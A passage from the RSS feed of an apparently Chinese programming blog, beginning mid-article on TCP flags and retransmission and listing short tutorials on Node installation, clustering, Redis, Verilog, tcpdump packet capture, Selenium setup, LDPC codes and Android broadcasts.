ACK：&#xA;报文中的ACK标志设置为1，表示该报文可以对接收到的报文进行确认。一般除了第一个请求连接的报文没有设置ACK外，其余报文基本上都设置了ACK，因为携带了ACK的报文需要对接收到的报文进行确认。 PSH：&#xA;当PSH标志位设置为1时，会提示接收端应用程序立刻从TCP缓冲区读取数据，并交付给上层应用。&#xA;一般我们会认为当使用read从缓冲区读取数据时，如果缓冲区中有数据，那么这些数据就会被返回，如果没有数据就会阻塞式的等待write向缓冲区中写入数据再进行读取。&#xA;其实这种说法并不准确，因为在缓冲区中都有应该水位线的概念，例如下图：&#xA;当缓冲区存储的数据没有达到水位线的时候，read就会进行阻塞等待，只要超过水位线后才会进行读取。因为如果缓冲区中有一点数据就进行读取的话会导致频繁的调用read，势必会造成效率的低下。&#xA;当报文当中的PSH被设置为1时，实际就是在告知对方操作系统，尽快将接收缓冲区当中的数据交付给上层，尽管接收缓冲区当中的数据还没到达所指定的水位线。&#xA;RST：&#xA;报文当中的RST被设置为1，表示需要让对方重新建立连接。在通信双方在连接未建立好的情况下，一方向另一方发数据，此时另一方发送的响应报文当中的RST标志位就会被置1，表示要求对方重新建立连接。在双方建立好连接进行正常通信时，如果通信中途发现之前建立好的连接出现了异常也会要求重新建立连接。 SYN：&#xA;报文当中的SYN被设置为1，表明该报文是一个连接建立的请求报文。只有在连接建立阶段，SYN才被设置，正常通信时SYN不会被设置。 FIN：&#xA;报文当中的FIN被设置为1，表明该报文是一个连接断开的请求报文。只有在断开连接阶段，FIN才被设置，正常通信时FIN不会被设置。 窗口大小 当发送端要将数据发送给对端时，本质是把自己发送缓冲区当中的数据发送到对端的接收缓冲区当中。但缓冲区是有大小的，如果接收端处理数据的速度小于发送端发送数据的速度，那么总有一个时刻接收端的接收缓冲区会被填满，这时发送端再发送数据过来就会造成数据丢包，进而引起丢包重传等一系列的连锁反应。&#xA;因此TCP报头中就引入的16位窗口大小来加以控制。这个16位窗口中填充的就是自身缓冲区剩余空间的大小，发送给对方后就能让对方知道自己缓冲区的存储能力，从而控制传输的速率。&#xA;窗口大小字段越大，说明接收端接收数据的能力越强，此时发送端可以提高发送数据的速度。窗口大小字段越小，说明接收端接收数据的能力越弱，此时发送端可以减小发送数据的速度。如果窗口大小的值为0，说明接收端接收缓冲区已经使用完了，此时发送端就不应该再发送数据了。 确认应答(ACK)机制 确认应答机制是保证TCP通信可靠性的机制之一，它是由32位序号和32位确认序号来保证的。&#xA;TCP是面向字节流的，它会为每个字节的数据都进行了编号，即序列号：&#xA;每一个ACK都带有对应的确认序列号，意思是告诉发送者，当前接收方已经收到了哪些数据，下一次发送方应该发送哪些数据。&#xA;超时重传机制 主机A发送数据给主机B之后，可能因为网络拥堵等原因，导致数据无法到达主机B。如果主机A在一个特定时间间隔内没有收到主机B发来的确认应答，就会进行数据重传，这就是超时重传机制。&#xA;如果主机A也没有收到来自主机B的确认应答，也可能是因为ACK丢失了。&#xA;当ACK发生丢包时，由于存在超时重传机制，主机B就会收到重复的数据，此时主机B就会意识到自己发送的确认应答有可能发生了丢包，导致主机A没有收到，因此就会重新发送确认应答，并且主机B会根据其前面接收到的数据的序号，丢弃掉重复的数据。&#xA;那么超时重传的时间该如何设定呢？&#xA;最理想的情况下，找到一个最小的时间，保证确认应答一定能在这个时间内返回。但是这个时间的长短，随着网络环境的不同，而存在差异。如果超时时间设的太长，会影响整体的重传效率；如果超时时间设的太短，有可能会频繁发送重复的包。&#xA;TCP为了保证无论在任何环境下都能比较高性能的通信，因此会动态计算这个最大超时时间：&#xA;Linux中(Windows也是如此)，超时以500ms为一个单位进行控制，每次判定超时重发的超时时间都是500ms的整数倍。如果重发一次之后，仍然得不到应答，等待 2*500ms 后再进行重传。如果仍然得不到应答，等待 4*500ms 进行重传，依次类推，以指数形式递增。当累计到一定的重传次数，TCP就会认为网络或者对端主机出现异常，最后强制关闭连接。 连接管理机制 在正常情况下，TCP要经过三次握手建立连接，四次挥手断开连接，以下是TCP连接到断开的全部过程：</description>
    </item>
    <item>
      <title>Linux之安装node</title>
      <link>https://bchobby.github.io/posts/de98c17568912f1ac3cf4a520957378d/</link>
      <pubDate>Wed, 22 Feb 2023 23:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de98c17568912f1ac3cf4a520957378d/</guid>
      <description>Linux之安装node步骤如下&#xA;1.去网站下载node&#xA;下载地址： https://npm.taobao.org/mirrors/&#xA;2.上传到指定目录下&#xA;3.解压&#xA;tar -zxvf node-v17.3.0-linux-x64 4.配置node环境变量&#xA;//执行以下命令 vim /etc/profile //在path中加入以下内容 /usr/local/node-v15.14.0/bin //刷新配置 source /etc/profile 5.验证node是否安装成功</description>
    </item>
    <item>
      <title>常用聚类算法分析</title>
      <link>https://bchobby.github.io/posts/8fdd65227cc6ab39851df31b11cdd6ce/</link>
      <pubDate>Wed, 22 Feb 2023 21:55:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fdd65227cc6ab39851df31b11cdd6ce/</guid>
      <description>1. 什么是聚类 1.1. 聚类的定义 聚类(Clustering)是按照某个特定标准(如距离)把一个数据集分割成不同的类或簇，使得同一个簇内的数据对象的相似性尽可能大，同时不在同一个簇中的数据对象的差异性也尽可能地大。也即聚类后同一类的数据尽可能聚集到一起，不同类数据尽量分离。&#xA;1.2. 聚类和分类的区别 聚类(Clustering)：是指把相似的数据划分到一起，具体划分的时候并不关心这一类的标签，目标就是把相似的数据聚合到一起，聚类是一种无监督学习(Unsupervised Learning)方法。分类(Classification)：是把不同的数据划分开，其过程是通过训练数据集获得一个分类器，再通过分类器去预测未知数据，分类是一种监督学习(Supervised Learning)方法。 1.3. 聚类的一般过程 数据准备：特征标准化和降维特征选择：从最初的特征中选择最有效的特征，并将其存储在向量中特征提取：通过对选择的特征进行转换形成新的突出特征聚类：基于某种距离函数进行相似度度量，获取簇聚类结果评估：分析聚类结果，如距离误差和(SSE)等 1.4. 数据对象间的相似度度量 对于数值型数据，可以使用下表中的相似度度量方法。&#xA;Minkowski距离就是范数（)，而 Manhattan 距离、Euclidean距离、Chebyshev距离分别对应时的情形。&#xA;1.5. cluster之间的相似度度量 除了需要衡量对象之间的距离之外，有些聚类算法（如层次聚类）还需要衡量cluster之间的距离 ，假设和为两个 cluster，则前四种方法定义的和之间的距离如下表所示。&#xA;Single-link定义两个cluster之间的距离为两个cluster之间距离最近的两个点之间的距离，这种方法会在聚类的过程中产生链式效应，即有可能会出现非常大的clusterComplete-link定义的是两个cluster之间的距离为两个``cluster之间距离最远的两个点之间的距离，这种方法可以避免链式效应`,对异常样本点（不符合数据集的整体分布的噪声点）却非常敏感，容易产生不合理的聚类UPGMA正好是Single-link和Complete-link方法的折中，他定义两个cluster之间的距离为两个cluster之间所有点距离的平均值最后一种WPGMA方法计算的是两个 cluster 之间两个对象之间的距离的加权平均值，加权的目的是为了使两个 cluster 对距离的计算的影响在同一层次上，而不受 cluster 大小的影响，具体公式和采用的权重方案有关。 2. 数据聚类方法 数据聚类方法主要可以分为划分式聚类方法(Partition-based Methods)、基于密度的聚类方法(Density-based methods)、层次化聚类方法(Hierarchical Methods)等。&#xA;2.1. 划分式聚类方法 划分式聚类方法需要事先指定簇类的数目或者聚类中心，通过反复迭代，直至最后达到&#34;簇内的点足够近，簇间的点足够远&#34;的目标。经典的划分式聚类方法有k-means及其变体k-means++、bi-kmeans、kernel k-means等。&#xA;2.1.1. k-means算法 经典的k-means算法的流程如下：&#xA;经典k-means源代码，下左图是原始数据集，通过观察发现大致可以分为4类，所以取k = 4，测试数据效果如下右图所示。&#xA;该函数的曲线如下图所示&#xA;可以发现该函数有两个局部最优点，当时初始质心点取值不同的时候，最终的聚类效果也不一样，接下来我们看一个具体的实例。&#xA;在这个例子当中，下方的数据应该归为一类，而上方的数据应该归为两类，这是由于初始质心点选取的不合理造成的误分。而k值的选取对结果的影响也非常大，同样取上图中数据集，取k = 2, 3，可以得到下面的聚类结果：&#xA;优点 原理简单，算法复杂度较低&#xA;缺点 k值未知，需要人为设定&#xA;对于初始化中心点特别敏感，不同的初始化，结果可能不一样&#xA;容易受到噪声的影响，可能收敛于局部最小值，同时数据量大时收敛速度较慢&#xA;不太适合离散的数据，样本类别不均衡的数据的聚类&#xA;k-means 有一个重要特征，它要求这些簇的模型必须是圆形：k-means 算法没有内置的方法&#xA;来实现椭圆形的簇&#xA;算法复杂度 O(t*k*n*d) ，其中t是迭代次数，k是类数，n是数据点个数，d是数据维度 2.1.2. k-means++算法 k-means++是针对k-means中初始质心点选取的优化算法。该算法的流程和k-means类似，改变的地方只有初始质心的选取，该部分的算法流程如下</description>
    </item>
    <item>
      <title>localStorage-本地存储</title>
      <link>https://bchobby.github.io/posts/2b1a0634bebd9b87b1c9c25bade85c75/</link>
      <pubDate>Wed, 22 Feb 2023 21:42:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b1a0634bebd9b87b1c9c25bade85c75/</guid>
      <description> 以前了解过好久没用过了在了解一遍&#xA;localStorage 属性允许在浏览器中存储 key/value 对的数据。&#xA;localStorage 用于长久保存整个网站的数据，保存的数据没有过期时间，直到手动去删除&#xA;用法&#xA;window.localStorage //保存数据语法： localStorage.setItem(&#34;key&#34;, &#34;value&#34;); //读取数据语法： var lastname = localStorage.getItem(&#34;key&#34;); //删除数据语法： localStorage.removeItem(&#34;key&#34;); //清空 localStorage.clear(); localStorage 的优势&#xA;1、localStorage 拓展了 cookie 的 4K 限制。&#xA;2、localStorage 会可以将第一次请求的数据直接存储到本地，这个相当于一个 5M 大小的针对于前端页面的数据库，相比于 cookie 可以节约带宽，但是这个却是只有在高版本的浏览器中才支持的。&#xA;localStorage 的局限&#xA;1、浏览器的大小不统一，并且在 IE8 以上的 IE 版本才支持 localStorage 这个属性。&#xA;2、目前所有的浏览器中都会把localStorage的值类型限定为string类型，这个在对我们日常比较常见的JSON对象类型需要一些转换。&#xA;3、localStorage在浏览器的隐私模式下面是不可读取的。&#xA;4、localStorage本质上是对字符串的读取，如果存储内容多的话会消耗内存空间，会导致页面变卡。&#xA;5、localStorage不能被爬虫抓取到。&#xA;localStorage 与 sessionStorage 的唯一一点区别就是 localStorage 属于永久性存储，而 sessionStorage 属于当会话结束的时候，sessionStorage 中的键值对会被清空。&#xA;localStorage 使用&#xA;首先在使用 localStorage 的时候，我们需要判断浏览器是否支持 localStorage 这个属性：&#xA;if(! window.localStorage){ alert(&#34;浏览器不支持localstorage&#34;); return false; }else{ //主逻辑业务 } </description>
    </item>
    <item>
      <title>Module not found: Error: Can‘t resolve ‘js-cookie‘ 问题处理</title>
      <link>https://bchobby.github.io/posts/a7fddec6022edbaa72f275f368ffc4fe/</link>
      <pubDate>Wed, 22 Feb 2023 20:18:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7fddec6022edbaa72f275f368ffc4fe/</guid>
      <description> 问题描述 在启动前端时，出现Module not found: Error: Can&#39;t resolve &#39;js-cookie&#39; 问题&#xA;原因分析： 是因为没有安装&#39;js-cookie&#39;module&#xA;可以在package.json文件中查看有没有js-cookie&#xA;解决方案： 安装js-cookie即可&#xA;如何安装：&#xA;使用如下命令：&#xA;npm install -save js-cookie 局部引用&#xA;import Cookies from &#34;js-cookie&#34;; </description>
    </item>
    <item>
      <title>Redis</title>
      <link>https://bchobby.github.io/posts/e111446745a1825b862f8727ae63bce4/</link>
      <pubDate>Wed, 22 Feb 2023 17:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e111446745a1825b862f8727ae63bce4/</guid>
      <description>这里写目录标题 1.Redis入门1.1 Redis简介1.2 Windows系统中启动和停止Redis 2.Redis数据类型2.1 字符串string操作命令2.2 哈希hash操作命令2.3 列表list操作命令2.4 集合set操作命令2.5 有序集合sorted set操作命令2.6 通用命令 3.在Java中操作Redis3.1 介绍3.2 Jedis3.3 Spring Data Redis3.3.1 入门案例3.3.2 存取练习 1.Redis入门 1.1 Redis简介 Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库，官方提供的数据是可以达到100000+的QPS（每秒内查询次数）。它存储的value类型比较丰富，也被称为结构化的NoSql数据库。&#xA;官网&#xA;1.2 Windows系统中启动和停止Redis Windows系统中启动Redis，直接双击redis-server.exe即可启动Redis服务，redis服务默认端口号为6379&#xA;停止Redis服务:Ctrl + C&#xA;双击redis-cli.exe即可启动Redis客户端，默认连接的是本地的Redis服务，而且不需要认证即可连接成功。&#xA;退出客户端可以输入exit或者quit命令。&#xA;2.Redis数据类型 字符串 string哈希 hash列表 list集合 set有序集合 sorted set / zset 2.1 字符串string操作命令 一、SET key value&#xA;设置指定key的值&#xA;二、GET key&#xA;获取指定key的值&#xA;三、SETEX key seconds value&#xA;设置指定key的值，并将 key 的过期时间设为 seconds 秒&#xA;四、SETNX key value&#xA;只有在 key不存在时设置 key 的值&#xA;2.2 哈希hash操作命令 一、HSET key field value</description>
    </item>
    <item>
      <title>Verilog快速入门（8）—— 4bit超前进位加法器电路</title>
      <link>https://bchobby.github.io/posts/2170be74bfd353d6b41a66db661e7957/</link>
      <pubDate>Wed, 22 Feb 2023 17:13:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2170be74bfd353d6b41a66db661e7957/</guid>
      <description>Verilog快速入门 (1) 四选一多路器&#xA;(2)异步复位的串联T触发器&#xA;(3)奇偶校验&#xA;(4)移位运算与乘法&#xA;(5)位拆分与运算&#xA;(6)使用子模块实现三输入数的大小比较&#xA;(7)4位数值比较器电路&#xA;(8)4bit超前进位加法器电路&#xA;(9)优先编码器电路①&#xA;(10)用优先编码器①实现键盘编码电路&#xA;(11)8线-3线优先编码器&#xA;(12)使用8线-3线优先编码器实现16线-4线优先编码器&#xA;(13)用3-8译码器实现全减器&#xA;(14)使用3-8译码器①实现逻辑函数&#xA;(15)数据选择器实现逻辑函数&#xA;(16)状态机&#xA;(17)ROM的简单实现&#xA;(18)边沿检测&#xA;4bit超前进位加法器电路 Verilog快速入门一、题目描述二、解析与代码1. 半加器2. 全加器3. 行波进位加法器4. 超前进位加法器 一、题目描述 输入描述：&#xA;输入信号：&#xA;A_in[3:0],&#xA;B_in[3:0]&#xA;C_1&#xA;类型：wire&#xA;输出描述：&#xA;输出信号：&#xA;S[3:0]&#xA;CO&#xA;类型：wire&#xA;二、解析与代码 以下内容摘自Leonico题主解析&#xA;1. 半加器 它不考虑进位输入。其中A和B是两个加数，S是和， C o C_o Co​是进位输出。&#xA;assign S = A ^ B; assign C_out = A &amp;amp; B; 2. 全加器 全加器是多bit加法器的基础。 C i C_i Ci​是进位输入， C o C_o Co​是向上进位输出。</description>
    </item>
    <item>
      <title>uniapp开发微信小程序 ，使用本地图片做背景图应该怎么处理</title>
      <link>https://bchobby.github.io/posts/67ed5320efd5dd11601e62fa044b15c0/</link>
      <pubDate>Wed, 22 Feb 2023 15:39:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67ed5320efd5dd11601e62fa044b15c0/</guid>
      <description>&amp;lt;view class=&#34;answering_page&#34; v-if=&#34;bgImg&#34; :style=&#34;{&#39;backgroundImage&#39;:backBg}&#34;&amp;gt; &amp;lt;/view&amp;gt; data(){ return{ bgImg: &#39;/static/image/background.png&#39;, }}, computed:{ backBg(){ //这里在引用全局定义的图片转base64方法，处理成base64主要是在开发者工具中调试便于图片能够正常显示 return &#39;url(&#39;+getApp().globalData.urlToBase64(this.bgImg)+&#39;)&#39; }, } //图片转换base64 urlToBase64(url){ let imgBase64 = wx.getFileSystemManager().readFileSync(url, &#34;base64&#34;), base64Url = `data:image/png;base64,${imgBase64}`; return base64Url; } 注意，把获取可用的base64地址的方法放在computed 里面是非常必要的。如果放在methods里面初次进入这个页面时候会报错（除了首页之外）。这里就是跟methods和computed特性有关。</description>
    </item>
    <item>
      <title>坦克大战（java）</title>
      <link>https://bchobby.github.io/posts/a6e97d55fe0e98b179805357649786ce/</link>
      <pubDate>Wed, 22 Feb 2023 15:03:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6e97d55fe0e98b179805357649786ce/</guid>
      <description>import javax.swing.*; import java.awt.*; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent; import java.util.ArrayList; import java.util.Random; public class GamePanel extends JFrame { Image offScreemImage=null; //窗口长宽 int wide=800; int height=610; Image select= Toolkit.getDefaultToolkit().getImage(&#34;src/image/爱心.png&#34;); int y=150; int state=0; int a=1; int count=0; int enemyCount=0; ArrayList&amp;lt;Bullet&amp;gt;bulletList=new ArrayList&amp;lt;Bullet&amp;gt;(); ArrayList&amp;lt;Bot&amp;gt;botList=new ArrayList&amp;lt;Bot&amp;gt;(); ArrayList&amp;lt;Bullet&amp;gt;removeList=new ArrayList&amp;lt;Bullet&amp;gt;(); ArrayList&amp;lt;Tank&amp;gt;playerList=new ArrayList&amp;lt;Tank&amp;gt;(); ArrayList&amp;lt;Wall&amp;gt;wallList=new ArrayList&amp;lt;Wall&amp;gt;(); ArrayList&amp;lt;Base&amp;gt;baseList=new ArrayList&amp;lt;Base&amp;gt;(); ArrayList&amp;lt;Blast&amp;gt;blastList=new ArrayList&amp;lt;Blast&amp;gt;(); PlayerOne playerOne=new PlayerOne(&#34;src/image/hero1U.gif&#34;,125,500,this, &#34;src/image/hero1U.gif&#34;,&#34;src/image/hero1L.gif&#34;,&#34;src/image/hero1R.gif&#34;,&#34;src/image/hero1D.gif&#34;); Base base=new Base(&#34;src/image/基地.png&#34;,375,520,this); // Bot bot=new Bot(&#34;src/image/hero1U(1).png&#34;,600,50,this, // &#34;src/image/hero1U(1).png&#34;,&#34;src/image/hero1L(1).png&#34;,&#34;src/image/hero1R(1).png&#34;,&#34;src/image/hero1D(1).png&#34;); //窗口的启动方法 public void launch(){ //标题 setTitle(&#34;</description>
    </item>
    <item>
      <title>WebRTC系列- turn及stun网络分析法</title>
      <link>https://bchobby.github.io/posts/b7ea668581e07cffcb905aab28781fa4/</link>
      <pubDate>Wed, 22 Feb 2023 15:02:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7ea668581e07cffcb905aab28781fa4/</guid>
      <description>文章目录 1. TCPDUMP分析法1.1 简述1.2 使用 2. WireShark 基本使用简述实战 之前的文章有分析各种协议包的组成，那么实际上在使用的时候是不是和分析的一样，这就需要获取到请求的包进行分析；在分析网络协议最好能抓取到数据包，然后看分析数据包是不是和规定的协议一致；&#xA;一般的网络数据包分析我们有两个常用的工具：&#xA;Linux端的一般经常使用tcpdump其他客户端一般使用WireShark&#xA;当然可以将tcpdump抓取的数据拿到wireShark中分析。 1. TCPDUMP分析法 1.1 简述 TCPdump是Linux端强大的网络抓包分析工具，但是要求使用者对网络协议等要有较高的熟悉度，如果不熟悉，看到的都是满屏的二进制数据，TCPdump在Linux上配合grep的搜索就会有很强大方便的分析能力；需要注意的是，由于需要抓取网卡的数据这里需要sudo root权限；&#xA;1.2 使用 使用实例如下：&#xA;sudo tcpdump -i en7 src www.xxx.top -xx -Xs 0 上述命令中的各个参数解析如下：&#xA;-i : 用来指定要捕获的接口，通常是以太网卡或无线网卡，后面跟网卡名称(比如：这里监听en7网卡的数据包)，也可以是 vlan 或其他特殊接口，当然在当前系统上只有一个网络接口，则无需指定。src 指明包的来源，一般可以使用src 或 dst 只抓取源或目的地，后面跟的可以是IP地址也可以使用域名；port 指定要监听的端口，可以是源端口或目的端口，可以是tcp或udp端口；-xx 指被抓取到的包以16进制现实；-Xs 实际上是两个参数 X表示ASCII码的形式显示二进制数据；s 0表示需要抓取整个包,o表示抓取的数量无限制；-w 是指要写入到文件中，后面跟文件名； 上述命令执行后如下：&#xA;mac下抓取网卡后写入文件的方式如下：&#xA;sudo tcpdump -i en7 dst www.test.top -xx -Xs 0 -w /Users/用户名/desktop/test.cap 抓取一段时间后，结束抓取(control + c)就会在桌面生成一个cap文件，这个文件可以使用wireshake打开，打开效果如下：&#xA;详细的使用介绍超详细的网络抓包神器 tcpdump 使用指南&#xA;2. WireShark 基本使用 简述 由于一个网卡的数据可能包含多个协议及很多的源地址和目的地址等， WireShark 提供了基本逻辑运算用于处理数据，常用的如下：</description>
    </item>
    <item>
      <title>vue3.0把html生成图片以及把图片下载到本地</title>
      <link>https://bchobby.github.io/posts/a0e00a899158244e9fe527cdbb8bc451/</link>
      <pubDate>Wed, 22 Feb 2023 14:51:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0e00a899158244e9fe527cdbb8bc451/</guid>
      <description>1. 安装插件 html2canvas插件&#xA;npm install html2canvas cnpm i html2canvas --save 2.如何使用&#xA;在组件中引入&#xA;import html2canvas from &#34;html2canvas&#34;; 3.综合使用&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div ref=&#34;poster&#34; class=&#34;posterImg&#34;&amp;gt; &amp;lt;h3&amp;gt;公告&amp;lt;/h3&amp;gt; &amp;lt;p&amp;gt; 如果同学们的这个项目写的比较快,也能接收额外实战知识，增加难度 &amp;lt;/p&amp;gt; &amp;lt;img src=&#34;@/assets/icon_login.png&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;img :src=&#34;posterimg&#34;/&amp;gt; &amp;lt;button type=&#34;button&#34; class=&#34;&#34; @click=&#34;goDown&#34;&amp;gt;下载&amp;lt;/button&amp;gt; &amp;lt;!-- volar --&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import { ref} from &#34;vue&#34;; import html2canvas from &#34;html2canvas&#34;; const posterimg = ref(); // 绑定 需要把那个内容生成图片 const poster =ref(); const goDown = ()=&amp;gt; { // document.</description>
    </item>
    <item>
      <title>web自动化测试之selenium-webdriver环境搭建</title>
      <link>https://bchobby.github.io/posts/1653b925d1dd29dfcb76fc9f63ba30b3/</link>
      <pubDate>Wed, 22 Feb 2023 14:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1653b925d1dd29dfcb76fc9f63ba30b3/</guid>
      <description>1、安装python及pycharm 安装python步骤：&#xA;1）登录Python官网：https://www.python.org/&#xA;2）下载与自己电脑匹配的版本，安装即可（建议3.5以上）&#xA;注意：安装时选择安装界面的“Add Python 3.x to PATH”进行勾选，避免再次配置环境变量；&#xA;3）安装完成后可以通过Windows命令CMD输入“python”，查看是否安装成功，如下图所示：&#xA;安装pycharm步骤：&#xA;1）下载pycharm的安装包，下载地址：http://www.jetbrains.com/pycharm/download/&#xA;专业版和社区版，两者差别不大，如果只是学习的话，社区版就足够了，我就安装的社区版，直接点击download下载即可。&#xA;2）下载完成后，点击安装，按照提示一直点击NEXT，直到安装成功即可&#xA;安装完成后需要检查一下pip是否存在&#xA;最新版的python安装包中已经集成了pip，可以在安装目录下的script路径下查看是否有pip.exe或pip3.exe文件，如果有，则cmd命令行中输入pip进行验证；出现如下图所示则证明pip已安装成功&#xA;不存在则下载安装：&#xA;setuptools下载地址：https://pypi.python.org/pypi/setuptools&#xA;pip下载地址：https://pypi.python.org/pypi/pip&#xA;2、安装及配置selenium 完成上面步骤后，可以通过cmd命令直接安装selenium包，命令：pip install selenium&#xA;注意：安装时如果只输入包名，则默认安装当前库中的最新版本，如果想安装自己需要的版本，则需要在包名后面加上版本号，比如：&#xA;pip install selenium==2.48.0&#xA;查看selenium安装路径命令：&#xA;pip show selenium&#xA;3、下载浏览器驱动包（以chrome为例子） 【方法一】百度搜索chromedriver—选择对应的浏览器版本&#xA;下载好ChromeDriver后把chromedriver.exe文件放到python安装的根目录下&#xA;【方法二】一键搭建&#xA;安装webdriver-helper （pip install webdriver_helper==1.0.1）&#xA;webdriver-helper&#xA;自动获取浏览器的版本、操作系统类型&#xA;自动下载浏览器驱动&#xA;自动窗口创建和返回WeBDriver对象&#xA;控制浏览器&#xA;from webdriver_helper import get_webdriver with get_webdriver() as driver: driver.get(&#34;http://shell.sdcc.cxist.net:30000&#34;) driver.maximize_window() 4、打开pycharm导入selenium包 ： file–setting–project–project interpreter–点击+ --搜索selenium–点击install package&#xA;到此，selenium配置完成</description>
    </item>
    <item>
      <title>LDPC码的编译码原理简述</title>
      <link>https://bchobby.github.io/posts/e0ce3906f40b84875bb1ae68f1c52fba/</link>
      <pubDate>Wed, 22 Feb 2023 12:19:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0ce3906f40b84875bb1ae68f1c52fba/</guid>
      <description>关于fpga调用ldpc IP&#xA;core的相关参数问题可以看我的另一篇文章&#xA;LDPC码由Gallager在1962年提出，全称为&#xA;Low Density Parity-check Codes 低密度奇偶校验码&#xA;它的译码性能可以逼近Shannon信道容量限，广富盛名的Turbo码也被证明是LDPC码的一个特例。并且LDPC码具有在中长码长时超过 Turbo 码的性能，并且具有译码复杂度更低，能够并行译码及译码错误可检测等特点。&#xA;LDPC码内容较为复杂，本人由于未学过图论等重要相关知识，难以透彻理解其本质，因此本文主要是介绍以及引用、链接他人的描述。&#xA;LDPC编码 ldpc码是一种线性分组码，因此它有生成矩阵和校验矩阵。&#xA;我们假设有一个长度为k的信息序列 s 1 ∗ k s_{1*k} s1∗k​，可以通过生成矩阵 G k ∗ n G_{k*n} Gk∗n​得到编码后码长为n的码字&#xA;x 1 ∗ n = s 1 ∗ k ⋅ G k ∗ n x_{1*n} = s_{1*k} · G_{k*n} x1∗n​=s1∗k​⋅Gk∗n​&#xA;同时还有一个唯一对应的校验矩阵 H ( n − k ) ∗ n H_{(n-k)*n} H(n−k)∗n​，所有码字满足 x 1 ∗ n ⋅ H ( n − k ) ∗ n T = 0 1 ∗ ( n − k ) x_{1*n} · H_{(n-k)*n}^T=0_{1*(n-k)} x1∗n​⋅H(n−k)∗nT​=01∗(n−k)​</description>
    </item>
    <item>
      <title>java.util.concurrent.CompletionException: org.picocontainer.PicoRegistration idea启动报错，无法打开软件</title>
      <link>https://bchobby.github.io/posts/6c5729a047d59e7ee7b729f1a4b9c1dd/</link>
      <pubDate>Wed, 22 Feb 2023 11:58:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c5729a047d59e7ee7b729f1a4b9c1dd/</guid>
      <description>路径位置:C:\Users\yang\AppData\Roaming\JetBrains\IntelliJIdea2020.1\plugins&#xA;报错信息：&#xA;java.util.concurrent.CompletionException: org.picocontainer.PicoRegistrationException: Key com.tang.intellij.lua.luacheck.LuaCheckSettings duplicated&#xA;错误相关信息：&#xA;原因lua插件重复导致的错误。如果是其他插件，直接将相关的文件夹删除就行&#xA;修改方式：找到目标文件夹将luanalysis删除，只留下Emmylua插件即可，直接删除喔&#xA;查找插件路径：&#xA;路径位置:C:\Users\yang\AppData\Roaming\JetBrains\IntelliJIdea2020.1\plugins（示例）&#xA;修改完成即可正常使用了&#xA;详细报错信息：&#xA;java.util.concurrent.CompletionException: org.picocontainer.PicoRegistrationException: Key com.tang.intellij.lua.luacheck.LuaCheckSettings duplicated at java.base/java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:3 14) at java.base/java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:683) at java.base/java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) at java.base/java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2094) at com.intellij.idea.ApplicationLoader.registerAppComponents(ApplicationLoader.kt:104) at com.intellij.idea.ApplicationLoader.executeInitAppInEdt(ApplicationLoader.kt:63) at com.intellij.idea.ApplicationLoader.access$executeInitAppInEdt(ApplicationLoader.kt:1) at com.intellij.idea.ApplicationLoader$initApplication$1$1.run(ApplicationLoader.kt:363) at java.desktop/java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:313) at java.desktop/java.awt.EventQueue.dispatchEventImpl(EventQueue.java:776) at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:727) at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:721) at java.base/java.security.AccessController.doPrivileged(Native Method) at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:85) at java.desktop/java.awt.EventQueue.dispatchEvent(EventQueue.java:746) at java.desktop/java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:203) at java.desktop/java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:124) at java.desktop/java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:113) at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:109) at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101) at java.desktop/java.awt.EventDispatchThread.run(EventDispatchThread.java:90) Caused by: org.picocontainer.PicoRegistrationException: Key com.tang.intellij.lua.luacheck.LuaCheckSettings duplicated at com.</description>
    </item>
    <item>
      <title>android SystemUI 自定义广播接受器</title>
      <link>https://bchobby.github.io/posts/b0f0889ed640c47e73399574231c6419/</link>
      <pubDate>Wed, 22 Feb 2023 11:47:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0f0889ed640c47e73399574231c6419/</guid>
      <description>自定义广播需动态注册 系统广播可静态注册&#xA;BroadcastDispatcher 来源&#xA;import com.android.systemui.broadcast.BroadcastDispatcher;&#xA;private class DismissReceiver extends BroadcastReceiver { private final IntentFilter INTENT_FILTER = new IntentFilter(); { INTENT_FILTER.addAction(&#34;com.android.sustemui.SHOW_STATUS&#34;); } private boolean mRegistered; private final BroadcastDispatcher mBroadcastDispatcher; DismissReceiver() { mBroadcastDispatcher = Dependency.get(BroadcastDispatcher.class); } void register() { mBroadcastDispatcher.registerReceiver(this, INTENT_FILTER, null, UserHandle.CURRENT); mRegistered = true; } void unregister() { if (mRegistered) { mBroadcastDispatcher.unregisterReceiver(this); mRegistered = false; } } @Override public void onReceive(Context context, Intent intent) { } } Intent intent = new Intent(); intent.</description>
    </item>
    <item>
